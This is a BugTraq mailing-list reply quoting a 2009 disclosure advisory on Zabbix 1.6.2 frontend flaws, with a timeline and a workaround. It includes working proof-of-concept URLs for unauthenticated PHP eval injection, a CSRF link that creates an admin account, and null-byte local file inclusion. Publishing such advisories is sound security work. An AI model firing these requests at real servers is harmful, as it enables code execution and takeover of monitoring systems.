BugTraq
Zabbix 1.6.2 Frontend Multiple Vulnerabilities Mar 03 2009 03:30PM
ascii (ascii katamail com) (2 replies)
Re: Zabbix 1.6.2 Frontend Multiple Vulnerabilities Mar 09 2009 11:59AM
Eygene Ryabinkin (rea-sec codelabs ru)
Re: [Full-disclosure] Zabbix 1.6.2 Frontend Multiple Vulnerabilities Mar 05 2009 11:42PM
Roberto Muñoz Fernandez (robertomf fujitsu es)
Vulnerability A) confirmed in zabbix 1.4.* for example in..

http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&
select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true
&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true
&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
> Name Multiple Vulnerabilities in Zabbix Frontend
> Systems Affected Zabbix 1.6.2 and possibly earlier versions
> Severity High
> Impact (CVSSv2) High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
> Vendor http://www.zabbix.com/
> Advisory http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
> Authors Antonio "s4tan" Parata (s4tan AT ush DOT it)
> Francesco "ascii" Ongaro (ascii AT ush DOT it)
> Giovanni "evilaliv3" Pellerano (evilaliv3 AT
> digitalbullets DOT org)
> Date 20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
> A) Remote Code Execution
> B) Cross Site Request Forgery
> C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
> "config"=> array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
> // actions
> "groupid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
> "hostid"=> array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
> "start"=> array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
> PAGE_SIZE."==0)", NULL),
> "next"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
> "prev"=> array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
> // filter
> "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
> "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
> "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
> 'filter_timesince'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
> 'filter_timetill'=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
> //ajax
> 'favobj'=> array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
> 'favid'=> array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
> 'isset({favobj})'),
> 'state'=> array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
> 'isset({favobj}) && ("filter"=={favobj})'),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
> $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> function's main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()'s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
> if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
> return FALSE;
>
> if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
> $expression = str_replace("{}",'$_REQUEST["'.$field.'"]',$expression);
>
> if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
> foreach($_REQUEST[$field] as $key => $val){
> $expression2 =
> str_replace("{}",'$_REQUEST["'.$field.'"]["'.$key.'"]',$expression);
> if(calc_exp2($fields,$field,$expression2)==FALSE)
> return FALSE;
> }
> return TRUE;
> }
> return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
> function, avoiding to fall into a breach that exits (returns) from the
> function.
>
> Investigating calc_exp2()'s source:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp2($fields,$field,$expression){
> foreach($fields as $f => $checks){
> $expression = str_replace('{'.$f.'}','$_REQUEST["'.$f.'"]',$expression);
> }
>
> $expression = trim($expression,"& ");
> $exec = "return (".$expression.") ? 1 : 0;";
>
> $ret = eval($exec);
>
> return $ret;
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> We have reached a function that contains an eval() call of the "$exec"
> variable that contains user controlled data.
>
> To better understand how the executed string is composed we must find
> a disposable page. Thanks to "locales.php" we can reach this function
> without any authentication.
>
> Now if we try to execute the query:
>
> /locales.php?download&langTo&extlang[AAA]=1
>
> The value of $exec is the following:
>
> return (($_REQUEST["extlang"]["AAA"]!='')) ? 1 : 0;
>
> Some constraints exist: the injected payload must comply with the
> calc_exp()'s requirements in order to call calc_exp2() and the created
> string must be syntactically correct. What we can do is to play with
> the key values of the array. An intermediate test was:
>
> /locales.php?download&langTo&extlang[AAA"];phpinfo();]=1
>
> But it generates a syntax error. After some thinking the problem was
> solved in this way:
>
> /locales.php?download&langTo&extlang[".phpinfo()."]=1
>
> Now the syntax is correct and the payload gets executed.
>
> B) Cross Site Request Forgery
>
> A CSRF vulnerability exists in file "users.php". If the admin visits the
> following link:
>
> /users.php?config=0&save&alias=alias&name=foo&surname=foo&user_type=3&
> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that it's possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_l
og%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> 'srclang'=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, 'isset({next})'),
> [...]
> else if(isset($_REQUEST['next'])){
> [...]
> $fileFrom = 'include/locales/'.$_REQUEST['srclang'].".inc.php";
> if(file_exists($fileFrom)){
> include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
> publicy aviable in the SVN, Zabbix 1.6.3 will be released
> within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
> on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
> if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
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